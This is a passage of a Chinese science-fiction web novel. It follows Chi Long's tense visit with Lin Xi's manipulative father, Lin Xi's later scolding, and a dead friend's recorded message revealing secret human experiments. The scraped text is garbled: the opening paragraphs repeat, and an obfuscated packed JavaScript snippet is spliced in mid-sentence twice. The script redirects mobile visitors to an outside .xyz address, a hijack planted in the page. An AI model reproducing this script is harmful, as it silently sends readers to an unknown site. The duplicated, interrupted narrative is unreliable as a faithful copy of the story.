不知道是不是因为眸色偏烈,她总觉得,尽管这双眼中笑意微微,亲和之感近在眼前,可实际上,却拒人千里之外,不似善人呐。 不过,毕竟是一家之主,有些形威气威也是在所难免的吧。 将手中的空杯放回桌上,池泷又用手将其往里推了推。 就在她准备开口说什么时,这位家主又发话了:“犬子给你添麻烦了,林息虽然看起来好像有几分稳重,但为人处世多有不足,尚需锻炼,我常不在他身边,无法时刻教导,望你担待。” 好烦,池泷尴尬地赔笑,她真的不擅长应付这种谦辞。 “没有没有,林……同学很厉害的,他成绩很好。” “哪里,初见林息的人,难免都会有这样的印象,过誉了。你叫……池泷是吧?你也是优秀的军校生,厉害之处应该只多不少,过谦了。” 初见?池泷心头不知道为什么多跳了几下。 不过,这位对谁都这么高捧吗? 听见这话,她只觉得自己的屁股都僵硬了起来。 “此次,也是托你的福,将林息从爆炸中带了出来。”家主仍旧自顾自说着。 管家行云流水地拿走了林凌杉面前的咖啡,又从托盘中,取出一个花纹一致的杯子,重新换了一杯咖啡端上来,全程没有发出一点声音。 眼神假装无意略过,池泷发现,相较于旧杯,新杯中的咖啡只是更热了两分。 下一步,管家想要给林息同样换一杯,却被他伸手拒绝了。 拿起刚换好的咖啡,这位家主重新抿了一口,随意说道:“只是,公园不是提早便公布了撤离吗?你怎么还在那里?” 哦豁! 池泷头顶上某根无形的雷达,已经滴滴作响。 这位家主难道不知道公园里的爆炸跟飞燕有关吗? 自己昏迷后林息没跟他说事情经过吗? 这是在试探自己吗? 试探什么呢? 和雷达呼应的,崖柏的气息也从僵硬变得紧绷了起来。 “说来我也是命大,本来喷杀什么的,对我根本没什么影响,于是我就放心地在那个公园逛逛了,”典型的自大alpha刻板印象,池泷拍怕胸口,“谁能想到走到……走到……哪个地方来着,脚下突然就炸了!” 反正,能糊弄过去再说。 于是池泷微笑回复:“没关系,好多人都这样问。” 因为对视,此刻池泷才看清,和林息比起来,这位家主的眸子映入阳光,琥珀色的基底上,却更偏橙红一些。 不知道是不是因为眸色偏烈,她总觉得,尽管这双眼中笑意微微,亲和之感近在眼前,可实际上,却拒人千里之外,不似善人呐。 不过,毕竟是一家之主,有些形威气威也是在所难免的吧。 将手中的空杯放回桌上,池泷又用手将其往里推了推。 就在她准备开口说什么时,这位家主又发话了:“犬子给你添麻烦了,林息虽然看起来好像有几分稳重,但为人处世多有不足,尚需锻炼,我常不在他身边,无法时刻教导,望你担待。” 好烦,池泷尴尬地赔笑,她真的不擅长应付这种谦辞。 “没有没有,林……同学很厉害的,他成绩很好。” “哪里,初见林息的人,难免都会有这样的印象,过誉了。你叫……池泷是吧?你也是优秀的军校生,厉害之处应该只多不少,过谦了。” 初见?池泷心头不知道为什么多跳了几下。 不过,这位对谁都这么高捧吗? 听见这话,她只觉得自己的屁股都僵硬了起来。 “此次,也是托你的福,将林息从爆炸中带了出来。”家主仍旧自顾自说着。 管家行云流水地拿走了林凌杉面前的咖啡,又从托盘中,取出一个花纹一致的杯子,重新换了一杯咖啡端上来,全程没有发出一点声音。 眼神假装无意略过,池泷发现,相较于旧杯,新杯中的咖啡只是更热了两分。 下一步,管家想要给林息同样换一杯,却被他伸手拒绝了。 拿起刚换好的咖啡,这位家主重新抿了一口,随意说道:“只是,公园不是提早便公布了撤离吗?你怎么还在那里?” 哦豁! 池泷头顶上某根无形的雷达,已经滴滴作响。 这位家主难道不知道公园里的爆炸跟飞燕有关吗? 自己昏迷后林息没跟他说事情经过吗? 这是在试探自己吗? 试探什么呢? 和雷达呼应的,崖柏的气息也从僵硬变得紧绷了起来。 “说来我也是命大,本来喷杀什么的,对我根本没什么影响,于是我就放心地在那个公园逛逛了,”典型的自大alpha刻板印象,池泷拍怕胸口,“谁能想到走到……走到……哪个地方来着,脚下突然就炸了!” “幸好林同学也在附近,其实,是他给我带了出来,我虽然是alpha,可也是肉身。他还送我去修养,太谢谢他了!”池泷表现夸张,接着她好奇问道,“不过为什么林同学也没走呢?” “产业巡查,”林凌杉代替做了回答,再次将咖啡杯端起,管家伸手接了过去,他则开始整理袖口,“刚好也路过那里。” “这种咖啡凉了一点便不好喝了。”林凌杉话音刚落,管家又将林息的杯子收走,和刚才一样,为他重新换了一杯。 池泷点头,表示了理解,没有多问。 但下一秒她却转而问道:“那您这次是来做什么的?” 似乎没料到这一问话,林凌杉整理袖口的手微顿,眼中笑意少了一些:“林息做事总是毛毛躁躁,有时小事也做不好,我不放心,正好也过来看看。” 这时,池泷的光脑闪了一下。 “林先生您还是过谦了,”池泷一脸不赞同,“林同学能文善武。” 说这话时,她心中想,当我用上“您”这个敬称时,就表明我要放大招了:“不然这次军技大赛,我们哪能哭着求他加入我们小队呢?” 崖柏剧烈抖动了一下。 拿起光脑,池泷向众人展示“军技大赛报名成功通知”,笑得阳光灿烂:“虽然我们小队只有四个人,但个个都挺有实力,白簇您知道吧?尹霄和林息一样,都是omega,我们小队很民主的,正好是您一直提倡的那样。” 崖柏仍旧剧烈抖动着。 整理袖口的那只手也放缓了速度。 “对了,尹霄去报名的时候,恰好碰到了校长先生,听到林息要加入,他老人家也十分高兴,”将光脑收起,池泷心满意足,“得亏林息一直以来成绩优异,加上校长的担保,就算不需要本人到场测试,报名也给通过了!” 终于,这位家主好像彻底将袖口整理完毕,他抬起头,第一次正视起眼前这个年轻人。 “如果您有空,”那双被掩盖的、充满距离感的眼眸,橙红色更深了些,池泷仍旧假装没看见,“一定要来给我们加油!” “那今日我便告辞了,”将水杯再次往前推了推,池泷起身,礼貌地冲这位家主点点头。 没敢继续看这位家主的表情,她转身就离开了。 走了两步,似乎又突然记起了什么,回头对林息说道,“不知道林同学方便吗?如果没事,我们或许可以讨论下大赛的战术什么的。” “抱歉,”林息的头似乎往林凌杉那边偏了一点,很快又恢复了过来,“今天家中有事,改天吧。” 崖柏缓缓蠕动,却比刚才好像轻松了许多。 “那行,但是马上比赛在即了,我们也都得忙起来。希望你也保重身体,临赛前,我们都不希望有什么意外发生,”说这话时,池泷是看着林凌杉说的,“这次我真的告辞了,愿您生活顺心。” 步履匆匆却轻松,管家送池泷离开,走出这栋别墅的一刹那,她只觉得浑身松快了不少。 跟在管家身后,慢慢走过花团锦簇的院子,看到大门时,池泷不禁回头看。 装潢低调,古朴典雅的别墅,点缀着搭配得宜的花草树木,美得令人压抑。 遇到林息父亲时,池泷便下意识有些不祥的预感。 就是那种“明明同伴的父母说‘明天再继续来这儿找你玩哦’,结果第二天他们根本没来”的感觉。 早前从林息那里,她知道尹霄的伤势已经稳住,便拜托了他赶紧去报名。 当然,这条讯息最后缀着一条“让知道的人越多越好。” 尹霄果然行动迅速高效,拉着校长亲自担保报名,他们小队怕是头一个。 虽然这次会面,林家似乎只想知道自己是否知情基地的事,但池泷总觉得,远远不止于此,只是这位家主因为信息差对自己毫无戒心,真的相信自己就是以为“巧合遇到的普通同学”。 毕竟,林凌杉不清楚的事情有些多,比如:池泷和林息不太好说的初遇、在乔城的再遇。 当然,池泷一直怀疑,林息的任务绝非产业巡查那么简单,只不过,林凌杉却觉得自己好骗罢了。 但甭管是因为什么,他宁可住宾馆也不住家里,甚至从未提起林家在亚硫城的落脚处,就很……说不上来。 明明相依为命却充满疏离的父子、过于谦虚反而显得可疑的父子, 和奇怪的崖柏。 而且,从林凌杉对林息参赛的反应来看,林息绝对没向他提过,这都过了好几天了,可能他是没空或者想找个更好的时机对父亲提及?但是,刚才听闻这个消息,这位家主的表情绝对算不上开心,难道是因为林家有别的计划? 她瞬间有些同情林息,在自己这里,他要瞒着实际任务;在他父亲那里,还要瞒着两人的关系还有参赛申请。 像生活在一个小夹板里。 叹了口气,池泷感慨:家家有本难念的经。 所以,自己先下手为强是对的。 把白家、尹家、校长都搬了出来,林家绝无可能不放人! “我可真是个好队长。”心中,池泷觉得自己的形象高大了不少。 “你可真是找了个好队友,”林凌杉背靠实木沙发,柔软的靠垫恰如其分地支撑起他的身体,明明是慵懒的动作,可他做起来,却充满攻击性,“又是拿高帽子架我,又搬出人来威胁我,最后还不忘让我‘完璧归赵’,怎么,怕我不放人?” 眼眸中的笑意完全褪去,林凌杉看向林息的眼神,更加真实,俯视、审视、冷漠,望着人,像望着一只蚂蚁。 “怕我反悔吧。”林息反应很快,将头埋得更深了些。 想起那张报名书,心中默默松了口气。 “哼,这些人,总是只看表面的东西,”林凌杉讽刺地笑了一声,“你知道的,我当年都不想生下你,omega到了这个世界上,也是在受罪,我是为了你好。” “是的,我知道。”林息机械地说道。 突然间,他好像变成了一个机器人,毫无波澜的面孔,失神的眼眸,这句话似乎已经说了千百遍,形成了肌肉记忆:“感谢父亲的包容和照顾。” “所以为了你,为了林家,我付出了很多,一步步打拼过来。没有我,你哪能有这样的生活,更别提,这些珍贵的锻炼机会。”指尖点了点那只漂亮的杯子,里面的咖啡也已经凉了一分,不能再喝。 瞥了一眼空空的玻璃杯,林凌杉眼中闪过不屑,管家迅速将咖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15222930|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 啡和空杯收走。 “可你,这次又浪费了一次机会,”叹气的模样也是高贵优雅的,林凌杉悲悯地看着林息,“从小到大,为了让你不被欺负、不被小瞧,我投入了多少,聘请了多少优秀的老师,你是怎么回报我的?这样的小事都做不好。” 没有反驳,只有聆听。 “我能文善武,她邀请我进入小队,”林息在心中对自己这样说道,“看到我会做饭时,她也会那样惊喜。” “听到这个消息,我不可置信,因为我对你抱有很高的期待。这次我本不必来的,倒不是怕你骗我,只是你辜负了我的信任,我对你的任务,难免产生了疑虑。”看着头快低到胸口的林息,林凌杉再次叹气,“抬起头来,你怎么总是这副没礼貌、没志气的样子?” “那样多的礼仪老师,也没掰正你的形体吗?”想起林息拒绝咖啡的样子,林凌杉只觉糟心,“你这样,以后怎么能撑起该有的责任?毫无品位和礼仪。” 听话地抬起头,此刻林息仍旧穿戴着伪装。 他想,快结束了,这是父亲最不想看到的伪装。 果然,看着抬起头的林息,林凌杉却忍不住瞥过脸去:“好在你的这位未来队友,确实什么都不知道。她讲的和你汇报的,也都一样。当然,比起你的过错,这点根本不算什么,要知道,这是你原本就应当做好的地方。” “是,我一定会反省。”看到父亲别过脸,林息又再次将头低下,金色的发丝遮住了碧蓝的眼眸,看不清他的神情。 “我那样爱你,只盼你永远优秀。那些alpha,包括那位未来的队友,他们根本只看那些我给你的、优秀的外表,而我,才是最了解你内里的人。” 严厉的父亲终于软下了表情:“所以,下一次必须要做得更好,不要再让我失望。” 可随即他又想起什么,毫不留情地再次说道:“哼,瞧瞧你认识的这些人,先斩后奏、同样毫无礼貌和品位,人以类聚,你和三殿下相比,总是……” 伴随着叹气,父亲的未尽之言好像包含了许多。 碧蓝眼眸沉寂得像一片死水。 “这次的比赛便去吧。别忘了,本来,你应该受到应有的教训,这对你的成长有好处,”林凌杉可惜地说道,脸上的遗憾瞧着是真在心痛林息错失了这次训诫,“不过,允许参赛也是我对你的支持,希望你能明白我的苦心。既然去了,就不要丢林家的脸。” 说完,没等到林息表态,林凌杉便摆摆手示意林息离开,失望的表情宣告着耐心耗尽。 然而这些林息都看不到,听到衣服窸窣的声音,他便知道自己是时候要离开了。 死罪可免,活罪难逃。 如何平息父亲的怒火,林息很清楚。 尽管低着头,只能看见脚下的小块地面,可步伐流畅,去往某处的前进没有任何困难。 呼吸和脚步仍旧和从前一样平稳,可走路的人,却不再和过去一样面无表情。 他忍不住勾起嘴角,碧蓝眼眸中隐隐散开点点星光。 池泷这一顿突如其来的操作,确实将父亲打了个措手不及。 本来,自己还在慢慢布置,让这次参赛能够“一路顺风”,没想到池泷的直球带来了出乎意料的喜讯。 尽管那样说,可实际上,父亲根本没办法阻止这件事的发生和继续,只能让自己去。 白家、尹家、校长,成为林息这边的“砝码”,甚至连惩罚都免了。 第一次,他在和父亲的相处中,如此光明正大地占了“上风。” 习惯性地坐在窗边,高悬的星光,以前他瞧着,总觉得离自己很远。 这是,却在周身的黑暗中显得格外耀眼,仿佛真的就在身边。 但繁星点点,也终究不及太阳的半分耀眼。 垂下眸子,短暂的开心后,林息开始觉得愧疚,反省自己的所作所为。 父亲为了自己好,为了家族兴旺,严厉了些也在所难免,还是让他失望了。 而楼下—— 眼看着林息上楼,管家前来询问林凌杉晚上的安排。 得知他马上要回去央星,管家不动声色地看了一样楼上,随意问道:“小息少爷真的要去参加比赛,不会受伤吗?而且如果和殿下遇到怎么办?” “斯特拉也是那个托亚家族的人啊,”说起三殿下,林凌杉的表情柔和了不少,比起在林息面前,此刻的他更像一位慈父般笑着。 但说起林息,他又换了一副面孔,脸上不满厌恶:“本来不打算让林息去的,那群alpha,粗俗又恶心,只有他还愿意跟他们搅和在一起。不过,这次也勉强算意外之喜,打好了前面的比赛,能帮他清理些对手,顺带宣传下林家,也是发挥了作用。至于决赛——” 换上管家递来的衣袍,是一套靓蓝色的休闲唐装,林凌杉不以为意:“四个人的小队本来就不具备人数优势,更何况,这支小队磨合时间又短,成员也奇奇怪怪,尤其那个白簇,就是条疯狗。” “哦对了,这个荒星来的人,叫什么来着?”林凌杉随口问道。 只是他漠然的眼神说明,比起真的想要知道这个名字,他更在乎自己的领口是否摆正。 “池泷。”管家回复。 果然,林凌杉接道:“过来瞧瞧,我领口的刺绣有些歪了。” 眼看管家还想说什么,林凌杉不悦地皱眉:“好了,快点,我有客人要见。这几天斯特拉去了新学校,好不容易有空,我过后,还得去看看他是否适应。” 闻言,管家便不再说话,他熟门熟路、一刻不停地收拾着行李,离开前,趁着关门的时间,他用光脑发送了一条讯息。 而央星—— 柔顺美丽的发丝烧毁了大半,但好在头脸并没受到大的伤害,一只大手托起那张小脸,温柔地、轻轻地来回转了转,看见耳后的墨鱼并未被损坏,才满意地放开了手。 身体缓缓放平,卷曲的紫牙乌落了满身,妖媚的人趴坐在地面,下一秒,一只脚毫不收力地踏上露出半片雪白的玉背,那条玉珠般精致的脊椎传来清晰的“咔哒”声。 “唔……”咬紧牙关,被踩住的人不敢出声,剧烈的疼痛让他难以忍受,眼角泛起兴奋的泪光。 “他们可给你留了一份好礼物,能让你彻底脱离,独自生活,”说话的人,声音轻柔如风,就像情人间暧昧的低语,“如果你不回来,我们可能永远都寻不到你,不后悔吗?” “您知道,我的忠诚,”脊柱传来强烈的感觉,还有丝丝酥痒,“我不会离开组织的,是您给了我新的生命,您才是我真正的父母。” “呵呵……”那只手再次出现,这次却是抚上了手感粗糙的长发,“你确实是我最满意的杰作……和孩子。” “去医疗室处理下伤口吧,看你这样,我心中也是痛得很,”慈悲的声音自头顶传来,好似这人真的在为人父母,“新研究出来的生长液应该适合这捧美丽的头发,我不希望我的杰作留下任何瑕疵。” “好的。”哪怕起身困难,可地上的人却仍遗憾地爬起,像一条蠕动的虫一样向外走去。 “不知道是什么样的感觉呢,洛熙。”那人对着空气自言自语,“你拼命想保护的东西,到最后,还不是全都回到了我手里。” 54.第49章 回到宾馆,池泷也开始收拾行李,准备回去央星。 委托告一段落,光脑上,阿瑞亚的委托费已经转了过来。 本来池泷不想收,可阿瑞亚的转账附言是:谢谢你还天语清白。 打开光脑,果然,李青的新闻已经铺天盖地,还有老字号酿酒店的道歉声明和补偿方案。 通讯稿件底下骂声如海,有人幸灾乐祸“爱喝红花酒的有钱人此刻怕是连觉都睡不着了吧”,当然,也有人说“被蒙蔽却愿意承担责任的商家倒是不坏,最坏的还得是那个李青。” 更有人感叹,希望酿酒店的好手艺能传承下去。 众说纷纭、意见不同、吵吵嚷嚷、人生百态。 吴天语的通缉令消失了。 一时间,池泷有些感慨:所有人都以为自己看到的就是真相,却不知人人都处在不同等级的信息茧房中,居高位者也不例外。 想到这儿,她一愣,自嘲:想想自己,也应该是这样。 随意地划弄着光脑,池泷突然发现,上午因为突遇林父,林息插在自己光脑上的那根内存条,内容还没看完。 看看时间,18:45,时间还早,闲着没事,她干脆点开里面的文件一一查看。 除了户口本,洛熙还往里头放了结婚证、房产证、毕业证……还有一张胎儿照。 说是胎儿照,实际上就是一个勉强看得到五官的小肉球缩成一团飘着,通过羊水淡黄的滤镜,看起来安详又幸福。 照片右下角,被人画了一颗紫色的爱心。 它也曾是被期盼着安康、快乐出生的存在啊。 只不过,洛熙存的东西也太多了。 池泷划过一张张文件、照片,他几乎把一辈子的家当都放在这里了。 甚至,池泷还看到了星行密码。 密码的下一行写着字:随意取用,当作报酬。 快被这两次委托搞出心理阴影的池泷,心头瞬间涌上一股不好的预感。 刚要当做没看见,没想到,那张熟悉的脸却突然跳出。 跳脸杀,池泷“啊”地叫了一声,顺带抖了一下。 “你是不是不想看?”粉黄色的眼眸装着淡淡的嘲讽,那人单手托腮,笑得一脸张狂,“想跑?没那么容易,我设置了锁定程序,没看完视频的人都不准走。” “没错,你再次被我抓住了,池泷。” 一脸无语,池泷拍拍心口,长长叹了口气。 她忍不住摸摸自己的脸,难道这上面写着“好欺负”三个字吗? “林息在你身边吗?”说到林息,洛熙的表情从“邪恶”变得“正义”了一些。 下意识摇摇头,摇完,她又忍不住笑了,人都不在这儿,自己点头摇头得干什么呢。 “肯定不在,这时候,他怕是要被人抓回去了。”摸摸下巴,洛熙自顾自地说道。 闻言,池泷挑眉,呀呵,这人料事如神啊。 不过想起林息说的,这人既然能猜到林息的身份,那猜到事情后续倒也没什么值得惊奇的。 “他那个父亲绝对不是个好相处的,还有点沽名钓誉,不过还好,你们这次应该能救他出来。”叹了口气,洛熙将手放下,微笑着正起脸来。 他看着池泷,明明是虚幻的投影,那个眼神却真诚得很,仿佛此刻他正站在池泷对面。 “请你……拜托你,如果有天,你发现林息做错了事,请不要轻易对他下不好的定义。” “不是一定要原谅,而是给他一次不要后悔的机会。” 牙齿咬住脸侧的软肉,池泷心中沉沉,说起来,自己现在确实对林息有所疑虑。 “你们信息素高度匹配,这是很难得的,就像是天生的‘知己’,我真心希望,你们两人不要像我们一样错过,”洛熙目光悠远,不知道想起了什么,“作为交换,我告诉你一个秘密。” 不想听!池泷绝望地闭眼,不想听、真的不想听。 现在她对“秘密”这两个字就是过敏,一听就头皮发麻、脚底冷汗。 什么秘密,那就是定时炸弹、烫手山芋、火中取栗、高空独木桥。 然而睁开眼,人已经是“待宰猪羔”的模样。 听、或者不听,这不是一个选择。 这人,一开始就说:看不完视频就不准出去,这分明就是逼迫! “天语的来历很奇怪,他来自亚硫城城内。”认真叙事的时候,在悦耳声音的加持下,洛熙确实有种引人注意的魅力,“我们的故乡,就是这片土地,那时候,亚硫城尚未建立。我们以前住的地方,则是亚硫城的郊外,也是那时大多数市民居住的地方。而天语是从城内走失,被我母亲收养的,城内对应的,是那时的富人区。” 挑挑眉,池泷没想到,吴天语和洛熙,竟然与这里还有这样的渊源。 更没想到,两人一开始,竟然是名义上的“兄弟”? “不曾见过的高档布料,做了一身衣服,纯白顺滑,绵密高韧,与其说是衣服,倒不如说,像一套病号服,这是天语当时的穿着,”洛熙目光盯着一处,在回忆着,“哦对了,还有一只蓝色小狗玩偶。” “嘶——”听到小狗玩偶,池泷有了不祥的联想。 “天语讨厌医院,不仅仅因为他是识别障碍者,怕医院查出他的不同。更多的是,他由衷地、极度恐惧这个地方。”洛熙的表情低落下来。 “所以你去调查了?”明明知道眼前的人并不存在,可池泷还是忍不住接话。 “亚硫城内,或许还尚存一处实验基地,那可能是天语出走的地方。”洛熙的眼神慢慢抬起,粉黄眼眸全是严肃,牙齿轻碰,却并未出声。 这让池泷再次感觉到不对劲:对面,要上终结技了。 “接下来的话,你或许不会信,或许会打破你的信仰,”粉黄被暗影掩盖,严肃的表情强调着话的真实性,“我收集到了证据,那个地方,是关押识别障碍者的地方。天语的omega母亲是识别障碍者,被抓时已经怀孕,不得已,他出生在那里。” 又是王室?池泷皱眉。 “他的信息素之所以那样特殊,是因为被人为干预过,这是我后续研究发现的。”洛熙继续说。 而池泷心中却渐渐有了一个大胆的猜测。 “这场干预的目的是为了‘变废为宝’,也就是改造‘被抛弃的人’,让他们作为一种武器。” 能够隐藏存在的材料、飞燕都没发现的地方、吴天语信息素的“杀人”能力。 “作为突击军的先锋。” 舌头抵住上颚,池泷只觉得心脏要从喉咙中跳出。 她喃喃自语,却和洛熙不约而同地说:“或者军部的暗杀部队。” “资料都在这张内存条中,你可以随时查看。此外,还有当年我们故乡‘意外灭亡’真相,”洛熙讽刺地笑了,“只是这件事太过久远,死的又是些不出名的人,亚硫城现在蒸蒸日上,只怕没人关注。” “你怎么能找到这些资料?”池泷一时间有些难以接受。 “故乡的资料,是飞燕给我的。而天语的事情,他虽然从没提过,但作为尚教授的弟子,我们虽然互不通姓名,可那一年,有着共同理想和秘密的我们,比亲人还要亲近。”洛熙又变得温和起来,“理论成形后,我们分工研究天语信息素的来源和形成,有人意外发现了这些。只是这次研究还没彻底完成,就……” 撇过头,洛熙看向身旁,一时无言。 “总之,这些资料最后都到了我手里。我母亲,是因为军部的失误,被王室谋杀的。两方合起伙来掩盖真相,接着摆出恶心的态度收买人心。”粉黄眼眸中仍是挥灭不去的恨意,“我对这两方,都没什么好感。只不过相对于王室,军部的欺瞒更显得虚伪无比。” “还不如那些口口声声说着‘基因污染’的人。明里将自己摘得干干净净,私下里却狼狈为奸,玩弄基因、实验人体。” “呸!”这一个词,顶替了千言万语的辱骂。 “说得太多,你得好好消化了吧。”再次转过脸,洛熙的眼眸已然恢复平静,“这些秘密,还有我的遗产,都是你的,作为交换机会的筹码,你随意利用。” 确实,信息太多。 池泷握拳,却发现拳头在轻微颤抖。 “这个世上,很多人都可以骗你,”低缓的声音,带着引诱,像伊甸园里那条怀谋不轨的蛇,却带来了人类的开始,“但林息不会,你能很轻易地分辨出,他是否在说谎。这是天赋,不要轻易放弃他。” 机械地点着头,池泷现在,更想去看看那些所谓的资料,是不是真的。 “我说视频一开始播放就不能出去是骗你的。”洛熙再次恶劣地笑了。 池泷皱眉,可听见自己可以随时退出的时候,她抬起手,不多时又放下了。 倒不是不着急看,只是觉得……人都没了,再多看看也没什么不好的。 “就像我刚才说的,很多人都会骗你。”恰好此时,洛熙温柔地笑了,这是池泷第一次看到他对着自己,有这么正能量的表情,“你很奇怪,对我们这样的人,意外地没有防备心。” 是么?池泷不解,是哪样的人呢?

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15252288|155610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 终于,洛熙消失。 搓搓手指,池泷觉得自己手心都热了起来,深呼吸几次,她终于点开了剩下的文件。 一时间,眼花缭乱的信息扑面而来,文字、图片、视频,几乎各种类型的文件都有,可见当时收集者的精心、全面。 突然,一张照片上出现了似曾相识的脸。 紫牙乌的发色眸色,只是照片上的人年纪尚小。 让池泷想起了一个人,她厌恶地皱眉,划到照片反面,右下角却写着“吴天语”。 瞪大眼睛,池泷将照片翻来覆去看了好几遍。 她又翻出那张胎儿照片,将两张图放在一起对比,怎么看……都看不出相似之处,吧? 这次池泷心中,又有了一个离谱的猜测。 那吴天语见过那个人吗?他认出那个人了吗?洛熙呢? 如果没有认出,倒还好;如果认出了,那基地爆炸…… “哇……真的是……”池泷无语地哼笑着。 毕竟,人在感知到无语、压力、紧张等负面情绪时,经常会用笑来宣泄。 缓了一会儿,池泷继续浏览。 而剩下的文件,透过池泷的双目,直接冲击到她的心里。 临床实验的资料和照片、五花大绑的病人。 “疼……”幼小的孩童被蒙住双眼,趴在实验台上,左右手被各种电线、针管覆盖,几乎看不到他的肌肤。 细长的针管,毫无犹豫地穿透幼童的后颈,那具小小的身躯剧烈抽动了一下,接着陷入了僵直。 连声音都没发出。 快、准、狠,戴着口罩、穿着白大褂的人,观察着仪器数字,无影灯下的眼镜,映满花花绿绿的小点,却看不清镜片后的眼睛。 终于,针管被冷静又平稳地抽出,那具身体却连反应都没有了。 那人转身,胸前的铭牌写着“Adel”,而名字旁边,是曾经高不可攀的“雄鹰”标志。 骄傲英勇、威武自由的鹰隼,翅膀被血迹打湿,红色浸染了它的利眸,变得邪恶无情。 随之而来的,是密密麻麻的“入库名单”,这些有名有姓的人,被编上了号,成为一种“库存。” “啪。” 吐出咬断的指甲,池泷食指不断抚着粗糙的拇指边甲,手指仍旧轻轻发抖。 说起来,乔城里,也有军部的痕迹呢。 仅仅一天,池泷的心情像在喜马拉雅山上坐过山车,她只觉得脑袋钝痛。 将文件收起,喘着粗气,她坐在床边,缓了好一会儿,直到身体停止抖动。 左手握着光脑,右手攥着压缩包,她的腰身却塌了下去。 “我可真是天底下最‘富有’的人了,”池泷满脸讥讽,双肩上,只觉得被无形压上了许多东西,“说着随便用、别当真,可这些,谁能真的视而不见啊。” 她就说,做人不能太有良心,不然就算不会被别人道德绑架,自己也会绑架自己。 “不是,我要钱没钱,要权没权,为什么都非要给我啊?” 身体“嘭”地一下倒在床上,池泷像一条死鱼一样弹了两下,扯过枕头,狠狠压在了自己脸上。 然而,下不去手。 往好处想,她安慰自己,至少这次没有上次那么慌张和难以接受了,有进步。 发出母鸡下蛋似的“咔、咔、咔、咔”地笑声,笑完了,她又赶紧闭上嘴,怕灵魂顺着张开的嘴巴飞出去。 这下好,王室靠不住,军部…… 想起那位严肃正气的军部长、和蔼认真的校长、还有自己喜欢的军校和老师,池泷又把枕头往自己脸上使劲儿按住,痛苦地哀叫出声。 为什么呢? 莫非一旦接触了权力、势力、金钱,所有人都会自动变坏吗? 让她再想想,再想想。 这时,光脑发出声响,有人发来了通讯。 左手摸到光脑,右手仍旧压着枕头,过了好一会,她才将其移开,却仍旧闭着眼睛。 深吸一口气,心中默念“阿弥陀佛”,池泷赴死般地打开光脑。 是擎晴的通讯。 只有一句话:“Its time~” 太好了,一把扔开枕头,池泷忽地坐起,想了想,却忍不住摇头鼓起掌来。 真会赶时候,她想。 抬头,她正好看到身前,屋内的灯光衬着外面的夜晚,玻璃上影影绰绰,自己的模样看不清楚。 但她肯定,自己此刻一定脸色难看得很。 无所谓,让暴风雨来得更猛烈些吧! 55.第50章 如果说这世界上有什么池泷害怕的生物,擎晴绝对算是其中一个。 剩下的,暂时还没发现。 倒不是因为儿时总被这位beta姐姐揪住,拿着各类由奇形怪状生物制成的东西,诱哄威胁着,非要让自己尝尝看。 也不是因为少时自己出于好奇,接过了同学递来的星烟,不幸被她发现。结果第二天果冻状的类鼻涕虫爬了满脸,鼻涕虫爬过的地方都肿成了猪头还痒痒了半个月,尤其是嘴边,让池泷受尽嘲笑。 而是因为,擎晴是自己的家人,兼“主治医师”。 黑夜里,池泷的眼眸却亮闪闪。 屋外星光漫天,都没有她的眼眸锃光瓦亮。 大脑高速运转、心情忐忑不安。 好处是,不用再做些离谱的梦了。 坏处是,根本睡不着。 十分害怕,池泷害怕擎晴对自己,无论是生理上还是心理上,都过于了解。 尤其是自己的腺体和信息素检测,一直以来,仅仅只有擎晴才知道它们的真实情况。 说来也是,从小喜欢生物研究的擎晴,在得到池泷这样一个妹妹后,便开始了她的生物研究之路。 小时候的日记里,全是对池泷的日常观察。 长大一点,更是连池泷的头发都要偷偷收集,借来显微镜观察。 堪称变态! 曾经池泷也询问过这位自称“生物saver”的姐姐,为什么偏偏选择了她。 扶了扶鼻梁上厚重的镜片,镜片闪光而过,擎晴捋捋夹着树叶灰尘、跑得乱糟糟的烟灰色落肩短发,说:“小泷,做人做事,逐步扩大,以点辐射全面,你懂吗?” 靛青色眼眸里全是对池泷的器重:“将来我成为生物界的顶端,你就是我王冠上最闪耀的明珠,是生物界改革进步的奠基石,是生物大佬迈向新生的第一步!” 扯、淡。 于是,池泷去问了擎叔,他的意思大约就是:“擎晴把邻居家的小动物都快折磨坏了,任何人都阻止她的靠近。” 于是,擎晴理所当然地、作为第一人,发现了池泷和别人不同。 为此,那时年级尚小的池泷十分惴惴不安,正在考虑要不要离家出走,没想到这家伙竟然—— 没有选择告发或者别的什么,反而两眼散发着慑人的精光。 搓着双手,眼镜片上闪光而过,不怀好意龇起嘴角,笑得像拐卖小孩儿的拍花子,鼻头的雀斑里藏也藏不住两个字:“奸诈”。 “不能被别人发现,你可是我获得星联生物科研最高奖的捷径!” 当时池泷脸上的表情,复杂得难以用人类的言语形容。 阿姐,你不画大饼了? 为了捷径的保密性,擎晴也一直帮她掩盖着一切。 她研究出的生物性药物,比市面上卖的都好使。 帮池泷安稳度过了军校的入学体检、日常体检等各类官方检查。 当然,也有把池泷吃坏的时候。 比如,为了药物以后能更好地投入市场,她会尝试在药物中添加适口性成分。只不过,口味取自月轨5线附近的特有生物——巨蜗(一种巨大的带壳软体生物),导致池泷吐了一下午。 很多次,池泷都感慨,幸好这货只喜欢研究生物,尤其是池泷,而不是别的。 不然她有种预感,有这样的精神,这人早晚得在别的领域闯大祸。 而且池泷关于omega和beta的所有知识,都来自于这位beta姐姐。 从小,她就被教导:管好你的牙齿,不然就趁你睡觉全给你敲下来,光明正大做研究哦! 